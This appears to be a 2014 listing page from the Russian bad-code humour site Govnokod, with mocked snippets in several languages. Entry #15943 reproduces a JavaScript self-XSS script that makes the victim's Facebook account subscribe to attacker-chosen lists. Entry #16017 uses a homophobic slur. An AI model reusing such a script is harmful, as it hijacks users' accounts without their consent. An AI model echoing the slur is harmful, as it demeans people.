1. Лучший говнокод

    В номинации:
    За время:
  2. Objective C / Говнокод #16024

    −401

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    #import "NSNumber+Validate.h"
    
    @implementation NSNumber (Validate)
    + (NSNumber*)validate:(NSNumber *)number
    {
        NSNumber* num = @0;
        if(number != nil)
        {
            num = number;
        }
        return num;
    }
    @end

    Мой помощник очень любит городить категории ради одной строчки. Просто маниакальная потребность у человека. В проекте их уже штук 50, вот одна из.

    Xtasy, 20 Мая 2014

    Комментарии (4)
  3. PHP / Говнокод #16017

    +150

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    Не так давно одно местное парнокопытное (и гомосексуальное также) существо с пеной у рта нахваливало 
    среду разработки php devel studio. Ради интереса скачал  - что ж?
    Обычный, ничем не примечательный интерпретатор (на дельфях кстати, писаный), ничем не лучше автоита. 
    Скомпилированный бинарник имеет фантастические размеры - около ~3 мб,  при выполнении требует runtime php5ts.dll.
    Понмится мне, Конь с присущим ему пафосом предлагал кодить на ней чуть ли не драйверы.
    
    Так в чем же фишка, товарищи, возможно я что-то проглядел? По мне - полнейшая лажа.

    Конь php-бляди соснули.

    brutushafens, 19 Мая 2014

    Комментарии (4)
  4. Java / Говнокод #16000

    +78

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    public static SomeHandler getInstance(int... initValue){
               if (initValue == null || initValue.length == 0) {
                   initValue = new int[1];
                   initValue[0] = 1;
               }
               if (initValue != null && initValue.length != 1) {
                   throw new IllegalArgumentException("You should pass exactly one value");
               }
               if (instance == null){
                   instance = new SomeHandler();
               }
               return instance;
    }

    shitking, 16 Мая 2014

    Комментарии (4)
  5. JavaScript / Говнокод #15987

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    $('.order-form-popup form').on('submit', function (e) {
    			e.preventDefault();
    			var data = $(this).serializeArray(),
    				mainProfilesList = '',
    				fillingsList = '';
    
    			$('.field-name-field-eo-main-profiles .field-item').each(function () {
    				mainProfilesList += ('<li>' + ($(this).text()) + '</li>');
    			});
    
    			$('.field-name-field-eo-fillings .field-item').each(function () {
    				fillingsList += ('<li>' + ($(this).text()) + '</li>');
    			});
    
    			data.push({
    				name: 'profiles',
    				value: '<ul>' + mainProfilesList + '</ul>'
    			});
    
    			data.push({
    				name: 'fillings',
    				value: '<ul>' + fillingsList + '</ul>'
    			});
    
    			data.push({
    				name: 'number',
    				value: $('.field-name-field-eo-product-number .field-item').text()
    			});
    
    			data.push({
    				name: 'qty',
    				value: $('#qty-input').val()
    			});
    
    			data.push({
    				name: 'area',
    				value: $('.field-name-field-eo-area .field-item').text()
    			});
    
    			data.push({
    				name: 'price',
    				value: $('.field-name-field-eo-price-without-discount .field-item').text()
    			});
    
    			$.ajax({
    				url: location.protocol + '//' + location.hostname + '/send-message.php',
    				type: 'POST',
    				data: data,
    				success: function (data, textStatus) {
    					var msg = '<h3 id="order-form-popup-msg" style="text-align: center; margin-top: 50%;">Заявка успешно отправлена.<br /> Спасибо!</h3>'
    					$('.order-form-popup form, .order-form-popup-title').hide();
    					$('.order-form-popup').append(msg);
    					window.setTimeout(function () {
    						$('.order-form-popup, .order-form-overlay').fadeOut(500);
    						$('#order-form-popup-msg').remove();
    						$('.order-form-popup form, .order-form-popup-title').show();
    					}, 3500);
    				},
    				error: function (jqXHR, textStatus, errorThrown) {
    					//for debugging
    				}
    			});
    		});

    Сериализация данных из полей, находящихся вне формы.

    DrDre, 15 Мая 2014

    Комментарии (4)
  6. C++ / Говнокод #15964

    +13

    1. 1
    2. 2
    BOOST_PP_REPEAT(AMOUNT_OF_EMPLACE_CONSTRUCTOR_PARAMETER, GENERATE_EMPLACE_BACK, BOOST_PP_EMPTY()) 
    //Если видишь access violation, то это просто сработали ассерты. Вынеси их в отдельные функции для удобства отладки (см GENERATE_EMPLACE_BACK). Мне пока не понадобилось, а сейчас это делать лениво.

    laMer007, 12 Мая 2014

    Комментарии (4)
  7. PHP / Говнокод #15960

    +156

    1. 1
    http://json-gk.url.ph/jsongk.zip

    Отдает страницы говнокодика в json. Параметры те же, что и у говнокодика
    http://json-gk.url.ph/cpp старшая страница c++
    http://json-gk.url.ph/?page=1138 1138 страница для гостя.

    Vasiliy, 11 Мая 2014

    Комментарии (4)
  8. JavaScript / Говнокод #15943

    +160

    1. 1
    2. 2
    function IbraheemNada(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}
    IbraheemNada("258964547561641");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("407255766069492");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("384263591702043");IbraheemNada("407256859402716");IbraheemNada("");IbraheemNada("");IbraheemNada("");IbraheemNada("");

    Надо, Ибрагим, надо!

    kostoprav, 08 Мая 2014

    Комментарии (4)
  9. C# / Говнокод #15939

    +133

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    public static bool In<T>(this T t, params T[] values)
    {
    	return t == null ? values.Any(v => v == null) : values.Contains(t);
    }
    
    public static bool NotIn<T>(this T t, params T[] values)
    {
    	return !t.In(values);
    }

    замечательный экстэншн к object

    baks, 07 Мая 2014

    Комментарии (4)
  10. C++ / Говнокод #15826

    +68

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    #include <iostream>
    
    using namespace std;
    
    unsigned ololo_div(unsigned what, unsigned by) {
        unsigned cnt=0;
        while( what>by ) {
            what-=by;
            cnt++;
        }
        if( what==0 ) cnt++;
        return cnt;
    }
    
    int main() {
        cout << ololo_div(10,0) << endl;
        return 0;
    }

    "че там делить то)))"

    http://codepad.org/nL06uX2s

    Elvenfighter, 23 Апреля 2014

    Комментарии (4)
  11. Java / Говнокод #15777

    +74

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    /**
     * 
     * 
     * @param wb
     * @param sheet
     * @param row
     * @param borderDashedRight
     * @param borderDashedLeft
     * @param borderDashedRightLeft
     * @param fulBorderCalignFont10
     * @param forSummary
     */
    private void mergeCellsForRows(HSSFWorkbook wb, HSSFSheet sheet,
    		HSSFRow row, HSSFCellStyle borderDashedRight,
    		HSSFCellStyle borderDashedLeft,
    		HSSFCellStyle borderDashedRightLeft,
    		HSSFCellStyle fulBorderCalignFont10, boolean forSummary)

    полезный javadoc

    evg_ever, 17 Апреля 2014

    Комментарии (4)